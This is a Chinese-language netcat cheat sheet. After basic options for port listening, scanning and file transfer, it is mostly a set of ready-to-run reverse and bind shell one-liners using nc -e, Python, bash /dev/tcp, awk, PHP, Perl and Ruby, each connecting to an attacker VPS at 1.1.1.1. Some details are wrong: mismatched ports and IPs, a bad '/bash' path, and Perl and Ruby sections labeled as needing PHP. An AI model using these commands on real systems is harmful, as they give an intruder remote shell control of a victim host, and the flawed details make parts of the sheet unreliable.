nc常见参数说明
-l //使用监听模式 -p //设置本地主机使用的通信端口 -v //详细输出 -e //程序重定向 -n //直接使用ip地址(不通过域名服务器 -z //扫描端口时使用 > //接收文件 后面加将接收的文件命名,例如>1.txt 意为将接受的文件命名为1.txt < //发送文件
常用命令
-
端口监听
nc -l -p 9999
-
端口扫描
nc -v 192.168.11.138 80 //扫描指定主机的端口 nc -v -z 192.18.11.138 20-1024 //扫描指定主机的某个端口段
-
文件传输
nc -lp 333 >1.txt //监听本地端口接收文件,将接收的文件重命名为1.txt nc -vn 192.168.1.4 333 < test.txt -q 1 //与vps主机的333端口建立连接,并传输一个名为test.txt的文件
-
简易聊天
# vps主机监听888端口 nc -l -p 888 # 目标主机连接vps的端口 nc -vn 192.168.1.4 888
-
获取shell
shell分为正向和反向。如果客户端连接服务器,客户端想要获取服务器shell,称为正向shell。如果客户端连接服务器,服务器想要获取客户端shell,称为反向shell。(通俗来说,就是谁输入了/bin/sh类似的命令,谁的shell被拿) 反向shell通常用在开启了防火墙措施的目标机器上,例如防火墙过滤,端口转发等。(因为需要获取目标主机的shell才能进行下一步操作) # 正向shell 正向shell即vps在自己的端口输出shell,客户端只监听vps的端口,客户端获取了服务器的shell 客户端:nc vps 444 //客户端监听vps的444端口 vps:nc -lvp 444 -e /bin/sh //vps监听自己的端口并且把shell转发到这个端口,谁访问了这个端口谁拥有vps的shell # 反向shell 反向shell即客户端输出shell给vps的指定端口,vps只监听端口,vps获取了客户端的shell 客户端:nc vps 999 -e /bin/sh //监听vps的999端口,并将自己的shell转发给999端口 vps:nc -lvp 999
当目标主机没有nc时获取反向shell
python反向shell
# 原理 当目标主机没有nc工具时,但是有python环境,可利用python环境将shell反弹 # 操作步骤 vps nc -lvp 2222 //vps监听2222端口 目标主机 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' //10.10.14.1为vps的ip,2222为vps监听的端口 成功之后vps会获得目标主机的shell
bash反向shell
# 原理 只适用于目标机器是linux # 操作步骤 vps nc -lvp 2222 //vps监听2222端口 目标机器 /bash -i >& /dev/tcp/1.1.1.1/2222 0>&1 成功之后会vps获取shell 不成功原因:例如提示提示没有/dev/tcp 参考链接:https://evilpan.com/2021/04/25/reverse-shell/ 可以尝试awk获取shell
awk反向shell
# 原理 只适用于linux系统 # 操作步骤 vps nc -lvp 2222 //vps监听2222端口 目标机器 awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/2222"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null 成功之后会获取目标机器的shell,并且所在目录是/dev
php反向shell
# 原理 适用于具有php环境的系统 # 操作步骤 vps nc -lvp 2222 //vps监听2222端口 目标机器 php -r '$sock=fsockopen("1.1.1.1",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
perl反向shell
# 原理 适用于具有php环境的系统 # 操作步骤 vps nc -lvp 2222 //vps监听2222端口 目标机器 perl -e 'use Socket;$i="1.1.1.1";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rudy反向shell
# 原理 适用于具有php环境的系统 # 操作步骤 vps nc -lvp 2222 //vps监听2222端口 目标机器 ruby -rsocket -e 'c=TCPSocket.new("1.1.1.1","4443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'